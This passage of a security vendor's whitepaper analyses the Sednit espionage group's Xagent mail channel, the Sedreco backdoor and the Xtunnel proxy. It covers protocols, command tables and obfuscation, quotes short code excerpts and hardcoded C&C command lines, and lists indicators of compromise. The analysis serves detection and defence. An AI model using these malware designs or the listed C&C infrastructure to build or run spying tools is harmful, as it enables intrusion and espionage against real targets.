are set to fixed values, likely chosen to avoid attracting attention from Georgian targets:• the email subject is set to piradi nomeri, which refers to a national ID number in Georgian• the email body is set to gamarjoba, which means hello in Georgian• the attachment name is set to detaluri_X.dat, where X is the current time (detalurimeans detailed in Georgian)65

En Route with Sednit

Georgian institutions are well-known targets of the Sednit group,
as documented by FireEye in 2014 [9].

Once the email has been built, the CryptRawPacket object is added as an attachment. Finally,
the email is sent with the SMTP protocol over TLS to the recipient email address (exfil@example.com
in Figure 10). It will be retrieved by the proxy server, and the message will be forwarded
to the C&C server, as we will describe below.
In the other direction, the MailChannel::getRawPacket() method retrieves emails containing
messages from the C&C server with the POP3 protocol over TLS. The email address to receive messages
is a different one than the one used to send messages (orders@example.com in Figure 10). For each
received email, the method checks that the subject is set to piradi nomeri and, if so, instantiatesa CryptRawPacket object from the attachment, which is then transmitted to the intended module.

On the Proxy Server
The MailServer.py script manages the communications by emails with the agents. To do so,
it regularly fetches emails from the inbox agents have sent their messages to (exfil@example.com
in Figure 10).
The script then checks for each email whether the subject matches the P2 protocol; that is, if once
decoded it contains the SUBJ_TOKEN value (see Figure 11). Alternatively, it checks whether the subject
is set to piradi nomeri, which is the case with the Linux source code as we just explained.
If the subject is valid, MailServer.py stores the email attachment into a “FROM” folder associatedwith the sender agent, using a custom format defined in a class named P3Scheme. This format, dubbed“level 3 protocol”, is a variation of the one presented in Figure 8 for the HTTP token: namely,
the length of Junk is set to 9 and the hardcoded value is different.

The script LocalStorage.py manages a storage with a “FROM” and “TO”
folder for each agent that sent an email to the monitored inbox (the agent ID
being retrieved from the CryptRawPacket attached to the email).

The second important script is w3s.py, which manages the HTTP communications with the C&C server.
For all known agents, the script retrieves the messages dropped in the “FROM” folder, and sends themto the C&C server in the body of a HTTP POST request. The URL for this request is built by the following
Python code:
BASE_URL = “http://” + XAS_IP + XAS_GATE
def url_for_agent(agent_id):url = BASE_URL + “?s=” + P3_Scheme.pack_service_data(struct.pack(“<I”, SERVER_
UID)) +\
		“&a=” + P3_Scheme.pack_data(struct.pack(“<I”, agent_id))
return url

The values XAS_IP and XAS_GATE are respectively the C&C server address and URL path,
while SERVER_UID is a 4-byte value identifying the proxy server. The P3_Scheme.pack_service_data() method encodes data following the previously-described P3 format.

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In the other direction, the w3s.py script regularly sends a HTTP GET request to the C&C server,on the URL previously described, for all known agents. The body of the C&C answer is a message
encoded with the P3 protocol that will be stored in the “TO” folder. Then, the MailServer.py script
will retrieve the message and attach it to an email following the P2 protocol, which will be sent
to the agent.

From the log files contained in the proxy open folder, we can infer that it wasa Windows server configured in the Russian language (Python console error
messages were output in Russian language).

Conclusion and Open Questions
Xagent is a well-designed backdoor that has become the flagship espionage malware of the Sednitgroup over the past few years. The ability to communicate over HTTP or via emails make it a versatile
tool for the operators.
Moreover, the existence of Xagent versions for Windows, Linux and iOS shows the importanceof this backdoor in their arsenal. We speculate that there are versions for others platforms, like Android.

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Sedreco: The Flexible Backdoor

Identikit
Sedreco serves as a spying backdoor, whose functionalities
can be extended with dynamically loaded plugins. It is madeup of two distinct components: a dropper and the persistent
payload installed by this dropper.
Alternative Names
AZZY
Usage
Sedreco is deployed on targets deemed interesting aftera reconnaissance phase. It serves for long-term espionage,
thanks to the numerous commands provided by its payload.
Known period of activity
May 2012 to July 2016. Probably still in use at the time of writing(August 2016).
Known deployment methods• Downloaded by Seduploader• Downloaded by Downdelph
Distinguishing characteristics• The Sedreco payload relies on a configuration usually stored
in a registry key named Path, or in a file named msd, and initiallyembedded in the Sedreco dropper• The Sedreco payload creates a mutex named MutYzAz
or AZZYMTX• The inbound and outbound communications of Sedreco’s
payload with its C&C server are buffered into two files,
respectively named __2315tmp.dat and __4964tmp.dat

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Context
Sedreco has two binary components, a dropper and the spying backdoor usually containedin this dropper. The dropper part of Sedreco has also been used to deploy a different payload:a lightweight downloader (not described in this whitepaper) named msdeltemp.dll by its developers.
We believe Sedreco was first used in 2012, while our analysis was performed on samples
compiled mid-2016.

Dropper Workflow
The workflow of Sedreco’s dropper is composed of the five steps presented in Figure 12.

Configuration
dropping

Payloaddropping

Payloadpersistence

Payloadexecution“INST MSD”

“INST FL”

“INST RUN”

“ST DL”

Figure 12.

Report to
C&C server

Dropper workflow with the developers’ names for each step

While straightforward, this workflow possesses some features worth mentioning:• The payload configuration is installed on the system by the dropper, in a file or in a registrykey, depending on the sample. It means that analyzing a Sedreco payload sample itself will
not reveal configuration information, such as the C&C server address (configuration content
will be described below).
• Payload persistence is usually ensured by registering an auto-start entry in the Windows
Registry, but we have observed other methods, like registering the payload as a Shell Icon
Overlay handler COM object [18].
• During its execution the dropper builds a small report, which is then sent to the C&C server.
Here is an example of such a report:
INST MSD=0
INST FL=0
INST RUN=0
ST DL=0

Each line corresponds to one step of the dropper workflow, as described in Figure 12.
The value 0 means success, while there would be an error code returned from the Windows API
GetLastError otherwise.

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Payload Workflow
In this section we will describe the internal working of the Sedreco payload: first, its configuration
file format; second, the commands it can execute; then, how it communicates with its C&C server;
and finally, how its functionality can be extended with plugins.

Configuration
The first action of Sedreco’s payload is to retrieve the configuration file previously installedby the dropper. This configuration file consists of a series of variably-sized data fields, precededby a header, as described in Figure 13.
0

6

Key

16

17

Plugin1path size

Timer1size

18Plugin2path size

7

8Timer2size

9Computername size

10

C&C1
size

28

11

C&C2
size

12

13

14

Operation Keylogger Keylogger Keylogger
name size MaxBuffer MaxTimeout
flag
size
size

29

35

Plugin10path size

15

Timer1

16

C&C3
size

41

Timer2

LegendHeader
Data

Figure 13.

Extract of Sedreco configuration. The names of the fields are those createdby ESET’s analysts. Field sizes are in bytes.

The configuration is encrypted with a custom algorithm using a 6-byte key stored at its beginning.
An implementation of this algorithm in Python can be found in ESET’s GitHub repository [10].
Following the key come 10 1-byte fields, each of them containing the size of a corresponding
data field. Those data fields contain the following values (ESET’s names):
1.

Timer1: Time to wait between two attempts to ask the C&C server for a command
to execute (usually set to 10 minutes)

2. Timer2: Time to wait between two attempts to exfiltrate data to the C&C server (usually
set to 10 minutes)
3. Computer Name: Computer name to which a pseudo-randomly generated 6-byte value
is appended, plus a two-byte value hardcoded in the dropper
4. C&C1: Domain name of the first C&C server
5. C&C2: Domain name of the second C&C server
6. Operation Name: 4-character string initially hardcoded in the dropper, which likely
identifies the operation or the target. So far, we have observed the following values: rhze,
rhdn, rhst, rhbp, mtfs, mctf, mtqs. We do not know the exact meaning of these values.
7.

Keylogger MaxBuffer: Maximum size of the memory buffer where keystrokes are logged,
before they are dumped to the outbound file (described below)

8. Keylogger MaxTimeout: Maximum time to wait before the logged keystrokes are dumped
to the outbound file (described below)
9. Keylogger Flag: Specify whether to enable the keylogger or not
10. C&C3: Domain name of the third C&C server
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The next ten data fields are the paths to the plugins that Sedreco will load at startup. These fields
are initially empty, and are updated when Sedreco receives a plugin to load from the C&C server.

Commands
Once it is running, Sedreco provides numerous commands to its operators, identified by a number,as described in Table 4. Those commands allow the attackers to spy on the target, but also to collectinformation on other computers accessible from the compromised machine.
Table 4.
NumberSedreco payload commands
PurposeNumberPurpose0

Update configuration value

14

Terminate process1

Load plugin

15

List loaded plugins

2

Unload plugin

16

Run Windows shell command(output temporarily stored in a file
named tmp.dat)

3

Start keylogger

17

List connected devices

4

Stop keylogger

18

Update Sedreco payload binary
on disk

5

List directories

19

Read file from a specified offset

6

Read file20

Map network resources

7

Write file21

Run systeminfo Windows shellcommand8

Delete file or directory

22

List files and directories

9

Enumerate registry key

23

Read file (wrapper for command 6)

10

Write registry key

24

Run a given Sedreco command

11

Delete registry key

25

Create thread

12

List running processes

36

Start remote shell over HTTP
(plugin command, see below)

13

Create process

Interestingly, the commands are registered at runtime by calling an internal function — usuallyexported under the name RegisterNewCommand — with the command number and the addressof the command handler. For example, Figure 14 shows the registration of the first six commands.

Figure 14.

Command registration — CMD functions are the commands handlers

71En Route with Sednit

This mechanism makes Sedreco a flexible backdoor, which includes only the commands in a sample
that are currently needed (which means in particular that the previous list of commands may
not be complete). It also allows plugins to easily register new commands, as we will explain later.

Communications with the C&C server
Sedreco communicates with its C&C server in a quite unusual way, pictured in Figure 15.

Compromised
computer

Inbound file(_2315tmp.dat)
Sedrecocore threads

Sedreconetwork threads
Outbound file(_4964tmp.dat)

Figure 15.

C&C Serverconnected to Internet

Data flow between Sedreco on a compromised host and its C&C server

On one hand, Sedreco network threads periodically ask the C&C server for orders, and store themin an “inbound file”. Those orders are then fetched and processed by Sedreco core threads. On the other
hand, the data to exfiltrate (logged keystrokes, results of executed commands, etc) are queued
in an “outbound file”, and periodically transmitted in bulk to the server by the network threads.
As this asynchronous communication method limits the number of network contacts with the
C&C server, it might reduce the chance of attracting attention in the target’s network. Moreover,using files rather than keeping the data buffered in memory avoids losing the data if the machine
shuts down or loses network connectivity.
In the following sections, we describe the network communications and the exact formatof the inbound/outbound files.

Inbound Communications
Sedreco regularly asks its C&C server for a command to run — usually every 10 minutes. The C&C server
domain names are retrieved from the configuration, and they are contacted in their order of appearance
in this configuration (see configuration format). In other words, if the first C&C server is up — C&C1
in Figure 13 — the others are never contacted.
The actual contact is a POST request over HTTP or, depending of the sample, HTTPS, on the URI/update. The body of the request contains the base64-encoding of the data structure pictured
in Figure 16.
0

1

Type

5

Operation namen-14

Computer
name

n-10

Operation namesize + computername sizen-6

Encrypted
data sizenKeyLegendEncrypted text data
Plain text data

Figure 16.

Network contact message format. Computer name is a variably-sized field72

En Route with Sednit

This data structure is encrypted with the 6-byte key stored at the end, using the same algorithm
as that used to encrypt the configuration file. The Type field is set to 0, which distinguishes inboundfrom outbound.
The C&C server will then answer with the information about a command to run, the commands
being stored in the inbound file by Sedreco network threads. The inbound file is usually named__2315tmp.dat and located in the %TEMP% directory. This file consists of a series of variably-sized
entries, each entry containing the information from the C&C server for one command to run,as described in Figure 17.
02

Numberof entries

6

Entry 1 size

Entry 1 data

6

10

0

Entry N size

Entry N data

Legend14

Plain text data
Encrypted text data

Key

Figure 17.

MagicCommandnumberCommandarguments(optional)

Inbound file format. Field sizes are in bytes

As before, each entry starts with a 6-byte key to decrypt the entry data, again using the same algorithm
used for the configuration. Then comes a 4-byte magic value, which, in all the samples we analyzed,
has to be set to 0x75DF9115 for the command to be executed. The entry may also contain the arguments
to pass to the command handler.
Finally, Sedreco core threads process the inbound file to extract and run the commands.

Outbound Communications
Sedreco core threads store the output generated by a command execution in the outbound file,which is usually named __4964tmp.dat and located in the %TEMP% directory. Similarly to the inboundfile, it consists of a series of variably-sized entries, each entry describing one particular commandexecution, as shown in Figure 18.
0

2

34

Numberof entries

04

Entry 1 header

8

Entry 1

12

Entry N header

32

28

Entry N

LegendPlain text data
LZW compressed data

Magic

Figure 18.

Entry size

Commandreturn status

Timestamp

CommandnumberOutbound file format. Field sizes are in bytes

Each entry begins with a 32-byte header, containing in particular a 4-byte magic number (0xB2745DAF),
the command return status code, a timestamp of the command execution (in a SYSTEMTIME
Windows structure [19]), and the actual command number. Then comes the output data generated
by the command execution, compressed with a custom implementation of the Lempel–Ziv–Welch(LZW) algorithm [20].
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A source code search engine allowed us to retrieve what we believe
to be the C source code of the LZW algorithm implementation employed
by Sedreco [21]. Figure 19 shows an extract of the compressed data header
initialization in the source code, with the distinctive LZW! signature.

((Dword *)buff)[0] = 0x21575A4C;/* 'LZW!' signature */((Dword *)buff)[1] = bSize;((Dword *)buff)[2] = GetCRC32(data, bSize);
lastByte += 12;

LZWENTRY lzwTable[0x1000];
int tableSize = 0, beginTable = 0x100;
for (int k = 0; k <= 0xFF; k++) {		lzwTable[k].next = lzwTable[k].substrIndex = 0;		 lzwTable[k].substrSize = 1;}
Dword currentPos = 0;
while (currentPos < bSize){			/* Поиск самой длинной подстроки */Figure 19.

Extract of LZW algorithm C source code

Sedreco network threads regularly — usually every 10 minutes — fetch the data from the outboundfile and encrypt them with the 3DES algorithm and a hardcoded key. The data structure describedin Figure 16 is then appended to the encrypted data, thus acting as a footer. In this case, the Type
field is set to 1.
Finally, the resulting encrypted data are transmitted to the C&C server by Sedreco network threads.

Plugins
An interesting feature of Sedreco is its ability to run external plugins. The downloading and executionof those plugins can be requested by the C&C server with command number 1, while their unloading
can be accomplished with command number 2 (see commands list).
A Sedreco plugin comes as a Windows DLL with two exported functions named Init and UnInit.
The plugin is loaded in the same address space as Sedreco’s payload with a call to the Windows API
LoadLibraryA. The plugin’s Init export is then called, with the following structure as its argument:
struct PluginArguments {void *RegisterNewCommand;			 // Developers’ name (see Figure 13)
void *FN_read_file;					// ESET’s name (also applies to next fields)
void *FN_write_in_outbound_file;void *FN_unregister_command;
HKEY_TYPE handle_opened_registry_hive;
void *output_buffer;void *FN_append_to_output_buffer;};

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En Route with Sednit

This structure contains some helper functions’ addresses, plus some data addresses, from Sedreco’s
payload, that the plugin may need during its execution.
We only found one Sedreco plugin during our investigation. Once loaded in memory, this plugin
registers a new command, numbered 36, as shown in Figure 20.

Figure 20.

Plugin Init export

When called by the operators, the newly registered command will open a remote Windows
shell over HTTP.
When Sedreco exits, the payload unloads all plugins and calls their UnInit exports. In the caseof the plugin we retrieved, this export simply unregisters the command it provides, as shownin Figure 21.

Figure 21.

Plugin UnInit export

Interestingly, parts of the plugin code are shared with the Windows Xagent
module named ProcessRetranslatorModule (see table 1). In particular,
the function in charge of creating a Windows shell process with some communication pipes is exactly the same in both binaries, including some custom error messages such as #EXC_1 Cannot create ExtToProc Pipe!.

Conclusion and Open Questions
With its ability to register new commands dynamically, Sedreco is a flexible backdoor that has beenused for many years by the Sednit group.
An interesting feature of Sedreco is the ability to load external plugins. As we only found one plugin,
we hope this report will encourage other researchers to contribute further pieces to the puzzle.
In particular, it would be interesting to search for other code-sharing cases between Sedreco plugins
and Xagent modules.

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Xtunnel: Reaching Unreachable Machines

Identikit
Xtunnel is a network proxy tool that can relay any kindof network traffic between a C&C server on the Internet
and an endpoint computer inside a local network.
Alternative Names
XAPS
Usage
An Xtunnel infected machine serves as a network pivot to contact
machines that are normally unreachable from the Internet.
Known period of activity
May 2013 to August 2016 (the time of writing). Probably still in use.
Known deployment methods
None
Distinguishing characteristics• Xtunnel implements a custom network protocol encapsulated
in Transport Layer Security (TLS) protocol• Since June 2015, the Xtunnel code has been heavily obfuscated,
but its strings remain unobfuscated. While written in English,
the strings contain obvious spelling mistakes.

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Timeline
We have analyzed Xtunnel samples for three years. The dates posited in the timeline mainly relyon Xtunnel compilation timestamps that we believe have not been tampered with, because
they match up with our telemetry data.

2013

2013

2014

Oldest known
Xtunnel sample

New feature
UDP tunneling

New feature
TLS encryption

May

August

April

2015

February
New feature
Connection to C&C server
through an HTTP proxy

2015

2015

2015

New feature
Connection
to C&C server througha persistent HTTP
connection

Xtunnel foundon the servers of theGerman politic party“Die Linke”[22], as partof an attack against the
Bundestag (the German
parliament)[23]New feature
Command line
parameters parser

2015

2016

2016

Code obfuscation
introduced

Xtunnel found on
the servers of the
Democratic National
Committee (DNC) [7]

Most recently known
Xtunnel sample

June

July

Figure 22.

May

April

May

AugustXTunnel major events77En Route with Sednit

Big Picture
Xtunnel proxies network traffic between a C&C server on the Internet and a target computer, hence
creating a “tunnel” between the two. Multiple tunnels can be opened at the same time — fromthe C&C server to several machines — with Xtunnel taking charge of routing the traffic to the intended
computer, as shown in Figure 23 with computers A and B.

Internet
C&C Server

ID 12345

ID 45678

Pivot computer(Xtunnel infected)

Target internal
networkTargetcomputer A

Figure 23.

Targetcomputer B

Xtunnel core behavior

The network link between the Xtunnel-infected machine and the C&C server is encrypted to complicate
network detection at the external boundary of the network. However, the links with the target
computers remain unencrypted to allow any kind of traffic to be sent to the target. In particular,
it should be emphasized that those target computers are not necessarily under the controlof the Sednit group.

“Xtunnel” is the developers name for this software. This was determinedby the function export table left unremoved by its authors in several samples.
The developers also forgot to remove program database (PDB) [24] file paths,
from which we can deduce another internal name, “XAPS”. Interestingly,
those PDB paths sometimes contain words in Russian, such as:

H:\last version 23.04\UNvisible crypt version XAPS select копия\XAPS_OBJECTIVE\Release\XAPS_OBJECTIVE.pdb
C:\Users\John\Documents\Новая папк\XAPS_OBJECTIVE\Release\XAPS_OBJECTIVE.pdb

The word “копия” translates to “copy”, while “Новая папк” means “New folder”.

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Traffic Proxying
The logic for traffic proxying remained the same in all Xtunnel samples that we analyzed, which covera period of three years. This core behavior begins with a handshake with the C&C server to establish
an RC4-encrypted link. The C&C server can then order Xtunnel to open a tunnel with a designatedmachine, so that any data coming from the C&C server will be forwarded to this machine,and similarly any data coming from the target machine will be forwarded to the C&C server.
This process can be repeated so as to have multiple tunnels opened in parallel, as shown in Figure 24
with computers A and B, and as explained in detail in the following section.

C&C Serverconnected to Internet

Encryption
handshake

Targetcomputer A

Pivot computer(Xtunnel infected)

Targetcomputer B

Sends cryptographic
key & proof of correctencryption
Sends “OK”
Sends fallback port
numberTunnel 1
opening

Orders to open tunnel
1 on computer A

TCP connects

Reports tunnel 1
openedSends “DATA”
for tunnel 1

Tunnel 2
opening

Figure 24.

Sends “DATA”

Reports “ANSWER”
received from tunnel 1

Sends “ANSWER”

Reports “DATA2”
received from tunnel 1

Sends “DATA2”

Orders to open tunnel 2
on computer B

TCP connects

Reports tunnel 2
openedXtunnel communication workflow

Encryption Handshake
Xtunnel makes a custom encryption handshake with its C&C server, whose IP address and port
are either given as command line parameters or hardcoded directly in the program. The purposeof this handshake is to share a cryptographic key for encrypting the link between Xtunnel
and the C&C server with the RC4 algorithm.

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To do so, the Xtunnel binary contains a Table T composed of 256 rows of 32 bytes each, initially filledwith fixed values in the code, as shown in Figure 25.

Figure 25.

Extract of T initialization code

Xtunnel pseudo-randomly chooses one 32-byte row of T as the cryptographic key to sharewith the C&C server. The actual handshake then starts by sending the offset O in T of the chosen
row to the C&C server.
This message also includes a “proof ” that the sender really knows T — that is, the offset sent is notjust some random 4-byte value. This proof consists of the row located at offset O + 128 (modulo 256)
encrypted with the chosen key. The C&C then checks the proof and, assuming it is correct, answers
OK encrypted with the chosen RC4 key.

It should be emphasized that the chosen cryptographic key is never sent overthe network, only its 4-byte offset in T. This prevents traffic decryption
by an eavesdropper not knowing the Table and, of course, means
the C&C server also knows T.

Before going further, the C&C server provides a port number to the infected machine, which
will serve as a fallback in case the connection closes on the currently used port on the C&C server.

Tunneling
At this point an encrypted link has been established between Xtunnel and its C&C server. The C&C server
can then use the Xtunnel infected machine as a pivot to contact local computers that are normallyunreachable from the Internet.

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To do so, the C&C server sends messages to Xtunnel beginning (once decrypted) with a two-bytetunnel identifier — denoted TunnelID hereafter — and followed by data of arbitrary length. Whena particular TunnelID value is sent for the first time, it means the C&C server wants to open a newtunnel. The information in this first packet contains data about the target machine: either an IP address
or a domain name, plus a port number. Two examples of such tunnel-opening messages are given
in Figures 26.1 and 26.2.

0100

TunnelID

01

C0

A8

Command“open tunnel by IP”

7C

01

11

IP address(192.168.124.1)

C1
Port(4545)

Figure 26.1 Message to open tunnel 0x100 on IP address 192.168.124.1 and port 4545

0200

TunnelID

03

08

74

65

73

74

Command“open tunnel
by domain name”

2E

63

6F

6D

12

Domain name(test.com)

26
Port(4646)

Domain namelengthFigure 26.2 Message to open tunnel 0x200 on domain name test.com and port 4646

Commands 1 and 3 pictured in these messages are the only ones implemented, and Xtunnel searches for such a command byte only when it is the firsttime it received a particular TunnelID value.

Xtunnel then makes a TCP connection on the designated target and if successful, the tunnel is considered
fully opened. At this point, each message from the C&C server beginning with the corresponding TunnelID
will be forwarded to the target machine by Xtunnel — after having removed TunnelID from the message.
In other words, any kind of TCP data can be sent through the tunnel.
On the other side of the tunnel the target machine can also send data, and Xtunnel will prefix
it with the associated TunnelID before forwarding it to the C&C server.

Since in general the size of the data to be transferred is unknown, each
communication between C&C server and Xtunnel starts with a 4-byte value
containing the number of bytes to be sent.

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Additionally, the C&C server can send the message is you live? [sic] to check the statusof Xtunnel, to which Xtunnel answers OK if everything is fine.

The quality of Xtunnel code is far from being good; here are two examples
of incongruities found in tunneling code:1.

After a tunnel has been opened, Xtunnel reports a 6-byte message
to the C&C server composed of the IP address and the port of the target
machine. Except that the developer forgot to increase the memory pointerafter writing the IP address in memory, and thus the port overwrites the firsttwo bytes of the IP address. Thus, it is likely that the C&C server does
not process this message.

2.

The TunnelID sent by the C&C server happens to be also used as the maximum
size of data processed from the received packet, for no obvious reason.
Consequently, it is impossible, for example, to open a tunnel by IP address
with a TunnelID smaller than 7, because information about the target
computer takes 7 bytes — see Figure 26.1 — , and will therefore be truncated.
We speculate that the C&C server usually chooses large TunnelID values,
explaining why this problem has gone unnoticed by the operators.

Additional Features
ESET researchers have retrieved multiple versions of Xtunnel, starting in 2013, when it apparently
was first deployed, to mid-2016 for the most recent versions. This allows us to observe over timethe introduction of new features around the core tunneling logic, shedding light on the operator’s
objectives and concerns.

UDP Tunneling (August 2013)
Xtunnel initially only proxied TCP traffic, but in August 2013 UDP traffic tunneling was introduced.
To do so, the C&C server can then ask to open a tunnel over UDP rather than TCP.
Strangely, the C&C server address used for UDP tunneling is hardcoded in the binary (176.31.112.10),
and any C&C address potentially given as input to Xtunnel is ignored — even in recent samples.
As this particular C&C server stopped being used mid-2015, we believe UDP tunneling was a test
or a feature needed on a particular target, and is not used anymore.

In some samples the UDP tunneling code contains a few debug messages,
such as:i`m wait
error 2003 recv from TPS - %derror 2002 send to server UDP - %drecv from client UDP - %d

According to those messages, the C&C server is called “client UDP” or “TPS”
by the developers, whereas “server UDP” corresponds to the target machine.
The “TPS” acronym remains mysterious to us in this context.

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TLS Encryption (April 2014)
A major feature introduced in April 2014 is the encryption of the communications with the C&C serverwith the Transport Layer Security (TLS) protocol [25]. These new Xtunnel binaries are statically linked
with OpenSSL 1.0.1e — a version released in February 2013. Inside the TLS encapsulation, Xtunnel
network protocol for tunneling remains the same (including the RC4 encryption).

The TLS certificate used by the C&C server is not verified by Xtunnel,
which means anyone could play the role of Xtunnel C&C server.

HTTP Proxy Connection (February 2015)
Some organizations force their computers to pass through an HTTP proxy to access the Internet.
Malware running on such machines therefore cannot contact the C&C server directly, but has to passthrough the proxy. Sednit developers took that into account by creating special Xtunnel versions
with HTTP proxy awareness.
In these binaries, Xtunnel first tries to retrieve the Internet Explorer proxy configuration by calling
the Windows API function WinHttpGetIEProxyConfigForCurrentUser [26]. In the event thatno information can be retrieved, it uses the hardcoded address 10.1.1.1:8080, which is the default
address of the Squid caching proxy [27]. This intention is clearly stated in the PDB path in one of thesamples: xaps_through_squid_default_proxy.
Once a proxy IP address has been chosen, Xtunnel uses the HTTP CONNECT method [28] to reach
its C&C server.

Command Line Parameter Parser (April 2015)
To gain in flexibility and manage novel features, in April 2015 Xtunnel developers introduced
a command line parameter parser. This parser accepts the parameters described in Table 5.
Table 5.

Xtunnel Parameters

Parameter Prefix

Meaning-SSL

activate TLS tunneling-Si

C&C server IP address-Sp

C&C server port

-Up

C&C server UDP port (but management code is missing)-Pi

proxy IP address-Ppproxy port

-HTTP

activate HTTP persistent connection (explained later)

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In most Xtunnel samples, the parser actually processes a command line hardcoded in the binary,
without even looking for input parameters. Here are some examples of such command lines foundin some samples:-Si 176.31.96.178 -Sp 443 -Pi 10.30.0.47 -Pp 8080 -SSL
-Si 46.183.216.209 -Sp 443 -Pi 10.30.0.11 -Pp 8080 -SSL
-Si 95.215.46.27 -Sp 443 -HTTP

The proxy IP addresses shown in these examples do not correspondto any known default proxy address, indicating that these binaries were likely
compiled for specific targets.

HTTP Persistent Connection (June 2015)
In June 2015, a novel way to connect to the C&C server was introduced: an HTTP persistentconnection [29]. When this feature is enabled, Xtunnel exchanges data with its C&C server
over the HTTP protocol (encapsulated in TLS protocol), probably as a way to bypass firewalls.
To open such a persistent connection, an HTTP GET request is encapsulated in TLS protocol and sent
to the C&C server. This request comes with the HTTP header Connection: keep-alive to enable
the persistent connection.

Another HTTP request header hardcoded in Xtunnel is Accept-Language:
ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4, which interestingly contains
the language code ru-RU. This header may have been copied from a request
made from a computer whose default language is Russian.

Code Obfuscation (July 2015)
In July 2015, Xtunnel binaries changed drastically from a syntactic point of view, due to the introductionof code obfuscation. This obfuscation was applied only to Xtunnel-specific code, while staticallylinked libraries were left untouched. The method employed is a mix of classic obfuscation techniques,
like insertion of junk code and opaque predicates [30].
Consequently, Xtunnel binaries are now about 2 MB in size, while the previous non-obfuscated versions
were about 1 MB with most of that being the statically linked OpenSSL library. The obfuscated version
is, of course, much harder to understand and, to illustrate that, the following Figures show the control
flow graph (CFG) [31] of a small Xtunnel function, before and after obfuscation.

Figure 27.1

Xtunnel CFG before obfuscation

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Figure 27.2 Xtunnel CFG after obfuscation

While the control flow has been heavily obfuscated, strangely the stringsand data are kept in plain text. We speculate that the developers appliedan (unknown) code obfuscation tool, which was enough to achieve theirgoal — probably bypassing some security products.

Conclusion and Open Questions
We believe Xtunnel to be of high importance to the Sednit operators, despite the questionable
quality of the code as we discussed in the analysis. In particular, it is the only Sednit component
we know with heavy code obfuscation. Additionally, the numerous features added over the last
three years indicate an ongoing development effort.
Finally, we would like to stress that our analysis is solely based on the capabilities found in the binaries.
In particular, we do not have in-the-wild examples on how Xtunnel is deployed, and what kindof network traffic is usually forwarded.

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Closing Remarks
In order to perform its espionage activities, the Sednit group mainly relies on two backdoors, Xagent
and Sedreco, which were intensively developed over the past years. Similarly, notable effort has been
invested into Xtunnel, in order to pivot in a stealthy way. Overall, these three applications should
be a primary focus to anyone wanting to understand and detect the Sednit group’s activities.
Nevertheless, the spying and pivoting capabilities of Sednit are not limited to the software
described in this second part of our whitepaper. For example, they regularly deploy the following
on target computers:• Password retrieval tools for browsers and email clients; some of these tools are custom,
while others are publicly available (like the SecurityXploded tools [32])• Windows password retrieval tools, with custom builds of the infamous mimikatz [33]and some custom tools• A custom tool to take regular screenshots of the target computer
Moreover, the Sednit group created numerous small executables to perform specific tasks, likecopying or removing files. The developers seem therefore to closely follow the operational needsof the group, causing us to speculate that they are not outsiders paid for a one-time job,
but fully-fledged members of the group.

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Indicators of Compromise
XagentESET Detection Names
Linux/Fysbis
Win32/Agent.VQQ
Win32/Agent.WGJ
Win32/Agent.WLF
Win32/Agent.XIO
Win32/Agent.XIP
Win32/Agent.XPY
Win32/Agent.XPZ
Win32/Agent.XVD
Win32/Agent.XWX
Win64/Agent.ED
Win64/Agent.EZ
iOS/XAgent.A
iOS/XAgent.B

HashesWindows
072933fa35b585511003f36e3885563e1b55d55a
082141f1c24fb49981cc70a9ed50cda582ee04dd
08c4d755f14fd6df76ec86da6eab1b5574dfbafd
0f04dad5194f97bb4f1808df19196b04b4aee1b8
3403519fa3ede4d07fb4c05d422a9f8c026cedbf
499ff777c88aeacbbaa47edde183c944ac7e91d2
4b74c90c9d9ce7668aa9eb09978c1d8d4dfda24a4bc32a3894f64b4be931ff20390712b4ec605488
5f05a8cb6fef24a91b3bd6c137b23ab3166f39ae
71636e025fa308fc5b8065136f3dd692870cb8a4
780aa72f0397cb6c2a78536201bd9db4818fa02a
a70ed3ae0bc3521e743191259753be945972118b
baa4c177a53cfa5cc103296b07b62565e1c7799f
c18edcba2c31533b7cdb6649a970dce397f4b13c
c2e8c584d5401952af4f1db08cf4b6016874ddac
d00ac5498d0735d5ae0dea42a1f477cf8b8b0826
d0db619a7a160949528d46d20fc0151bf9775c32
e816ec78462b5925a1f3ef3cdb3cac6267222e72
f1ee563d44e2b1020b7a556e080159f64f3fd699

Linux
7e33a52e53e85ddb1dc8dc300e6558735acf10ce
9444d2b29c6401bc7c2d14f071b11ec9014ae040
ecdda7aca5c805e5be6e0ab2017592439de7e32c
f080e509c988a9578862665b4fcf1e4bf8d77c3e

File Names
rwte.dll
splm.dll
lg3.exe
api-ms-win-downlevel-profile-l1-1-0.dll

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C&C server Domain Names
ciscohelpcenter.com
microsoftsupp.com
timezoneutc.com
inteldrv64.com
advpdxapi.com

C&C server IP Addresses
185.106.120.101
185.86.149.223
31.220.43.99
5.135.183.154
69.12.73.174
89.32.40.4
92.114.92.125
93.115.38.125

SedrecoESET Detection Names
Win32/Sednit.AJ
Win32/Sednit.AL
Win32/Sednit.AO
Win32/Sednit.C
Win32/Sednit.E
Win32/Sednit.F
Win32/Sednit.H
Win32/Sednit.S
Win32/Sednit.U
Win32/Sednit.W
Win32/Sednit.Y
Win64/Sednit.B
Win64/Sednit.G

HashesDropper
4f895db287062a4ee1a2c5415900b56e2cf15842
87f45e82edd63ef05c41d18aeddeac00c49f1aee
8ee6cec34070f20fd8ad4bb202a5b08aea22abfa
9e779c8b68780ac860920fcb4a8e700d97f084ef
c23f18de9779c4f14a3655823f235f8e221d0f6a
e034e0d9ad069bab5a6e68c1517c15665abe67c9
e17615331bdce4afa45e4912bdcc989eacf284bc

Payload04301b59c6eb71db2f701086b617a98c6e026872
11af174294ee970ac7fd177746d23cdc8ffb92d7
e3b7704d4c887b40a9802e0695bae379358f3ba0

File Names
Dropperscroll.dll
wintraysys.exe

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Payloadadvstorshell.dll
mfxscom.dll

Dropped Files%ALLUSERSPROFILE%\msd%TEMP%\__2315tmp.dat%TEMP%\__4964tmp.dat

Registry KeysHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Path
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Path

Mutexes\BaseNamedObjects\AZZYMTX\BaseNamedObjects\MutYzAz

C&C server Domain Names
1oo7.netakamaisoft.com
cloudflarecdn.com
driversupdate.info
kenlynton.com
microsoftdriver.com
microsofthelpcenter.info
nortonupdate.org
softwaresupportsv.com
symantecsupport.org
updatecenter.nameupdatesystems.net
updmanager.com
windowsappstore.net

Xtunnel
ESET Detection Names
Win32/Agent.RGB
Win32/Agent.RGD
Win32/Agent.RGS
Win32/Agent.RKP
Win32/Agent.RME
Win32/Agent.RMG
